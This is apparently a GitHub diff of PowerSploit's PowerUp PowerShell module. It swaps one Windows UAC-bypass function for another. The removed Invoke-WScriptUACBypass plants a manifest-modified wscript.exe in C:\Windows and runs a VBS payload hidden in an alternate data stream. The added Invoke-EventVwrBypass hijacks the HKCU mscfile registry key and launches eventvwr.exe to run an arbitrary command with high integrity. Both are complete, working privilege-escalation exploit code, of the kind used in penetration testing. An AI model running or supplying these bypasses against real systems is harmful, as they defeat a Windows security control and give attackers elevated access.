@@ -4568,238 +4568,90 @@ PowerUp.UserAddMSI
4568
4568
}
4569
4569
4570
4570
4571
- function Invoke-WScriptUACBypass {
4571
+ function Invoke-EventVwrBypass {
4572
4572
<#
4573
4573
.SYNOPSIS
4574
4574
4575
- Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.
4575
+ Bypasses UAC by performing an image hijack on the .msc file extension
4576
+ Only tested on Windows 7 and Windows 10
4576
4577
4577
- Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie
4578
+ Author: Matt Nelson (@enigma0x3)
4578
4579
License: BSD 3-Clause
4579
- Required Dependencies: None
4580
-
4581
- .DESCRIPTION
4582
-
4583
- Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute
4584
- VBScript using the wscript executable with the new manifest. The VBScript executed by
4585
- C:\Windows\wscript.exe will run elevated.
4580
+ Required Dependencies: None
4586
4581
4587
4582
.PARAMETER Command
4588
4583
4589
- The shell command you want wscript.exe to run elevated.
4590
-
4591
- .PARAMETER WindowStyle
4592
-
4593
- Whether to display or hide the window for the executed '-Command X'.
4594
- Accepted values are 'Hidden' and 'Normal'/'Visible. Default is 'Hidden'.
4584
+ Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
4595
4585
4596
4586
.EXAMPLE
4597
4587
4598
- Invoke-WScriptUACBypass -Command "powershell.exe -ep Bypass -WindowStyle Hidden - enc <base64> "
4588
+ Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\ powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA= "
4599
4589
4600
- Launches the specified PowerShell encoded command in high-integrity.
4601
-
4602
- .EXAMPLE
4603
-
4604
- Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible'
4605
-
4606
- Spawns a high integrity cmd.exe.
4607
-
4608
- .LINK
4609
-
4610
- http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
4611
- https://github.com/Vozzie/uacscript
4612
- https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1
4590
+ This will write out "Is Elevated: True" to C:\UACBypassTest.
4613
4591
#>
4614
4592
4615
- [CmdletBinding()]
4616
- Param(
4617
- [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
4618
- [Alias('CMD')]
4619
- [String]
4593
+ [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
4594
+ Param (
4595
+ [Parameter(Mandatory = $True)]
4620
4596
[ValidateNotNullOrEmpty()]
4597
+ [String]
4621
4598
$Command,
4622
4599
4623
- [String]
4624
- [ValidateSet('Hidden', 'Normal', 'Visible')]
4625
- $WindowStyle = 'Hidden'
4600
+ [Switch]
4601
+ $Force
4626
4602
)
4603
+ $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
4604
+ $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop
4627
4605
4628
- function Local:Get-TempFileName {
4629
- # generate temporary file Name
4630
- $sTempFolder = $env:Temp
4631
- $sTempFolder = $sTempFolder + '\'
4632
- $sTempFileName = [System.IO.Path]::GetRandomFileName() + '.tmp'
4633
- $sTempFileName = $sTempFileName -Split '\.',([regex]::matches($sTempFileName, '\.').count) -join ''
4634
- $sTempFileNameFinal = $sTempFolder + $sTempFileName
4635
- return $sTempFileNameFinal
4636
- }
4637
-
4638
- function Local:Invoke-CopyFile {
4639
- [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4640
- Param(
4641
- [String]
4642
- $sSource,
4643
-
4644
- [String]
4645
- $sTarget
4646
- )
4647
-
4648
- # cab wscript, send to temp and then extract it from temp to $env:WINDIR
4649
- $sTempFile = Get-TempFileName
4650
- Start-Process -WindowStyle Hidden -FilePath "$($env:WINDIR)\System32\makecab.exe" -ArgumentList "$sSource $sTempFile"
4651
- $Null = wusa "$sTempFile" /extract:"$sTarget" /quiet
4652
-
4653
- Start-Sleep -Seconds 2
4654
- Remove-Item -Path $sTempFile -Force
4606
+ if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
4607
+ "UAC is set to 'Always Notify'. This module does not bypass this setting."
4608
+ exit
4655
4609
}
4656
-
4657
- function Local:Invoke-WscriptTrigger {
4658
- $VBSfileName = [System.IO.Path]::GetRandomFileName() + '.vbs'
4659
- $ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join ''
4660
-
4661
- $VBSPayload = "Dim objShell:"
4662
- $VBSPayload += "Dim oFso:"
4663
- $VBSPayload += "Set oFso = CreateObject(""Scripting.FileSystemObject""):"
4664
- $VBSPayload += "Set objShell = WScript.CreateObject(""WScript.Shell""):"
4665
- $VBSPayload += "command = ""$Command"":"
4666
-
4667
- if ($WindowStyle -eq 'Hidden') {
4668
- $VBSPayload += "objShell.Run command, 0:"
4669
- }
4670
- else {
4671
- $VBSPayload += "objShell.Run command, 1:"
4610
+ else{
4611
+ #Begin Execution
4612
+ $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
4613
+ $Command = $pshome + '\' + $Command
4614
+ #Add in the new registry entries to hijack the msc file
4615
+ if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
4616
+ New-Item $mscCommandPath -Force |
4617
+ New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
4618
+ }else{
4619
+ Write-Warning "Key already exists, consider using -Force"
4620
+ exit
4672
4621
}
4673
4622
4674
- # stupid command to kick off a background cmd process to delete the wscript and manifest
4675
- $DelCommand = "$($env:WINDIR)\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest"""""""""
4676
- $VBSPayload += "command = ""$DelCommand"":"
4677
- $VBSPayload += "objShell.Run command, 0:"
4678
- $VBSPayload += "Set objShell = Nothing"
4679
-
4680
- Write-Verbose "[*] Storing VBS payload into `"$env:USERPROFILE\AppData:$ADSFile`""
4681
- $CreateWrapperADS = {cmd /C "echo $VBSPayload > ""$env:USERPROFILE\AppData:$ADSFile"""}
4682
- Invoke-Command -ScriptBlock $CreateWrapperADS
4683
-
4684
- Write-Verbose "[*] Executing VBS payload with modified scripting host"
4685
- $ExecuteScript = {cmd /C "$($env:WINDIR)\wscript.exe ""$env:USERPROFILE\AppData:$ADSFile"""}
4686
- Invoke-Command -ScriptBlock $ExecuteScript
4687
-
4688
- Write-Verbose "[*] Removing Alternate Data Stream from $("$env:USERPROFILE\AppData:$ADSFile")"
4689
- Remove-ADS $env:USERPROFILE\AppData:$ADSFile
4690
- }
4691
-
4692
- function Local:Invoke-WscriptElevate {
4693
-
4694
- [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
4695
- Param()
4696
-
4697
- $WscriptManifest =
4698
- @"
4699
- <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
4700
- <assembly xmlns="urn:schemas-microsoft-com:asm.v1"
4701
- xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
4702
- manifestVersion="1.0">
4703
- <asmv3:trustInfo>
4704
- <security>
4705
- <requestedPrivileges>
4706
- <requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>
4707
- </requestedPrivileges>
4708
- </security>
4709
- </asmv3:trustInfo>
4710
- <asmv3:application>
4711
- <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
4712
- <autoElevate>true</autoElevate>
4713
- <dpiAware>true</dpiAware>
4714
- </asmv3:windowsSettings>
4715
- </asmv3:application>
4716
- </assembly>
4717
- "@
4718
-
4719
- # Copy and apply manifest to wscript.exe
4720
- $sManifest = $env:Temp + "\wscript.exe.manifest"
4721
- $WscriptManifest | Out-File $sManifest -Encoding UTF8
4722
-
4723
- Write-Verbose "[*] Cabbing and extracting manifest into $($env:WINDIR)"
4724
- Invoke-CopyFile $sManifest $env:WINDIR
4725
-
4726
- Write-Verbose "[*] Cabbing and extracting wscript.exe into $($env:WINDIR)"
4727
- $WScriptPath = "$($env:WINDIR)\System32\wscript.exe"
4728
- Invoke-CopyFile $WScriptPath $env:WINDIR
4729
- Remove-Item -Force $sManifest
4730
-
4731
- Invoke-WscriptTrigger
4732
- }
4733
-
4734
- function Local:Remove-ADS {
4735
- <#
4736
- .SYNOPSIS
4737
- Removes an alterate data stream from a specified location.
4738
- P/Invoke code adapted from PowerSploit's Mayhem.psm1 module.
4623
+ if (Test-Path $mscCommandPath) {
4624
+ Write-Verbose "Created registry entries to hijack the msc extension"
4625
+ }else{
4626
+ Write-Warning "Failed to create registry key, exiting"
4627
+ exit
4628
+ }
4739
4629
4740
- Author: @harmj0y, @mattifestation
4741
- License: BSD 3-Clause
4630
+ $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
4631
+ #Start Event Viewer
4632
+ if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
4633
+ $Process = Start-Process -FilePath $EventvwrPath -PassThru
4634
+ Write-Verbose "Started eventvwr.exe"
4635
+ }
4742
4636
4743
- .LINK
4744
- https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
4745
- #>
4637
+ #Sleep 5 seconds
4638
+ Write-Verbose "Sleeping 5 seconds to trigger payload"
4639
+ if (-not $PSBoundParameters['WhatIf']) {
4640
+ Start-Sleep -Seconds 5
4641
+ }
4746
4642
4747
- [CmdletBinding()]
4748
- Param(
4749
- [Parameter(Mandatory = $True)]
4750
- [String]
4751
- $ADSPath
4752
- )
4643
+ $mscfilePath = "HKCU:\Software\Classes\mscfile"
4753
4644
4754
- #region define P/Invoke types dynamically
4755
- # stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
4756
- $DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
4757
- $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
4758
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
4759
-
4760
- $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
4761
- $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
4762
- $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
4763
- $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
4764
- @('kernel32.dll'),
4765
- [Reflection.FieldInfo[]]@($SetLastError),
4766
- @($True))
4767
-
4768
- # Define [Win32.Kernel32]::DeleteFile
4769
- $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile',
4770
- 'kernel32.dll',
4771
- ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
4772
- [Reflection.CallingConventions]::Standard,
4773
- [Bool],
4774
- [Type[]]@([String]),
4775
- [Runtime.InteropServices.CallingConvention]::Winapi,
4776
- [Runtime.InteropServices.CharSet]::Ansi)
4777
- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
4778
-
4779
- $Kernel32 = $TypeBuilder.CreateType()
4780
-
4781
- $Result = $Kernel32::DeleteFile($ADSPath)
4782
-
4783
- if ($Result) {
4784
- Write-Verbose "Alternate Data Stream at $ADSPath successfully removed."
4785
- }
4786
- else {
4787
- Write-Verbose "Alternate Data Stream at $ADSPath removal failure!"
4645
+ if (Test-Path $mscfilePath) {
4646
+ #Remove the registry entry
4647
+ Remove-Item $mscfilePath -Recurse -Force
4648
+ Write-Verbose "Removed registry entries"
4788
4649
}
4789
- }
4790
4650
4791
- # make sure we are running on vulnerable windows version (vista,7)
4792
- $OSVersion = [Environment]::OSVersion.Version
4793
- if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) {
4794
- if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') -eq $True){
4795
- Write-Warning '[!] You are already elevated!'
4651
+ if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
4652
+ Stop-Process -Id $Process.Id
4653
+ Write-Verbose "Killed running eventvwr process"
4796
4654
}
4797
- else {
4798
- Invoke-WscriptElevate
4799
- }
4800
- }
4801
- else {
4802
- Write-Warning '[!] Target machine is not vulnerable.'
4803
4655
}
4804
4656
}
4805
4657
0 commit comments